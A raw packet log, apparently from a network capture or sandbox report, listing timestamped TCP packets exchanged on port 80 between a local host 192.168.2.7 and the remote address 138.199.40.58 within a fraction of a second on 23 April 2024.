Apr 23, 2024 08:39:59.229383945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.229387999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229389906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.229696035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229744911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.229849100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229902983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229914904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229927063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229938984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229945898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.229952097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229967117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.229973078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.229990959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230010033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230014086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230035067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230088949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230101109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230113029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230124950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230146885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230159044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230222940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230236053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230272055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230293036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230302095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230308056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230314016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230369091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230389118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230439901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230453014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230501890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230519056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230530977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230587006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230587006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230611086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230659962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230673075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230684996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230705023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230707884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230782986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230783939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230797052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230818033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230838060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230859995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230875969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230887890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230900049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230906963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230912924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230931044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.230936050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.230956078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231000900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231013060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231024981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231036901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231043100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231050014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231056929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231062889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231081009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231100082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231113911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231126070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231143951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231167078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231187105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231189966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231223106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231234074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231256962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231308937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231321096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231328964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231333017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231345892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231358051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231364965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231421947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231434107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231441975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231446028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231457949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231471062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231477976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231477976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231484890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231553078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231574059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231616020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231635094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231647968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231659889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231673002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231786013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231798887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231806993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231810093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231829882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231858969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231872082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231888056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231895924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.231915951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.231976032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232008934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232023001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232033968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232047081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232059956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232065916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232132912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232153893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232167006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232177973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232188940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232188940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232202053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232213974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232219934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232225895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232234001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232238054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232249975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232260942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232268095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232274055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232285976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232297897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232305050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232340097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232364893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232384920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232398033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232419968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232439041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232461929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232482910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232485056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232508898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232527018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232558966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232573032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232584000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232592106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232597113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232661009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232673883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232681990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232686996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232707024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232738972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232753038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232762098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232781887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232794046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232801914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232805967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232819080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232840061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232851028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232860088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232872009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232893944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.232894897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232973099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.232985973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233000040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233012915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233017921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233040094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233052969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233058929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233066082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233072042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233099937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233118057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233124018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233167887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233176947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233181000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233194113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233236074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233248949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233254910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233285904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233305931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233350039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233362913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233371973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233380079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233419895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233453989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233467102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233520031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233520985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233535051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233547926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233566046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233597994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233611107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233619928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233623981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233635902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233642101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233669996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233691931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233715057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233726978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233740091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233757973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233871937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233881950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233885050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233896017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233907938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233918905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233927011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233931065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233942986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233951092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233953953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233967066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233974934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233982086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.233989000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.233994007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234014988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.234026909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234040022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234051943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234057903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.234064102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234082937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.234086037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234129906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234136105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.234143972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234208107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.234210014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234222889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234272957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234292984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.234314919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234343052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234349966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.234369040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234383106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.234401941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.236244917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.242182016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.242233992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.242258072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.242661953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.242805004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.242868900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.242911100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.242990971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.243151903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.243215084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.243411064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.243591070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.243772984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.243787050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.243824005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.243835926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.243870020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.243890047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.243963957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.243999958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.244008064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244220972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244316101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.244569063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244596958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244651079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244687080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244707108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.244740009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244752884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244760036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.244765043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244776964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244788885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244812965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.244865894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244878054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244879007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.244899988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.244930983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244944096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.244998932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245012045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245021105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.245080948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.245091915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245218992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245242119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.245315075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245369911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.245477915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245491028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245537043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245549917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245557070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.245575905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245596886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.245603085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245625973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245645046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.245677948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245707035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245728016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.245749950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245763063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245812893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.245827913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.245949984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.250314951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250432014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250472069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250484943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250535011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.250535011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.250566006 CEST	80	49705	138.199.40.58	192.168.2.7
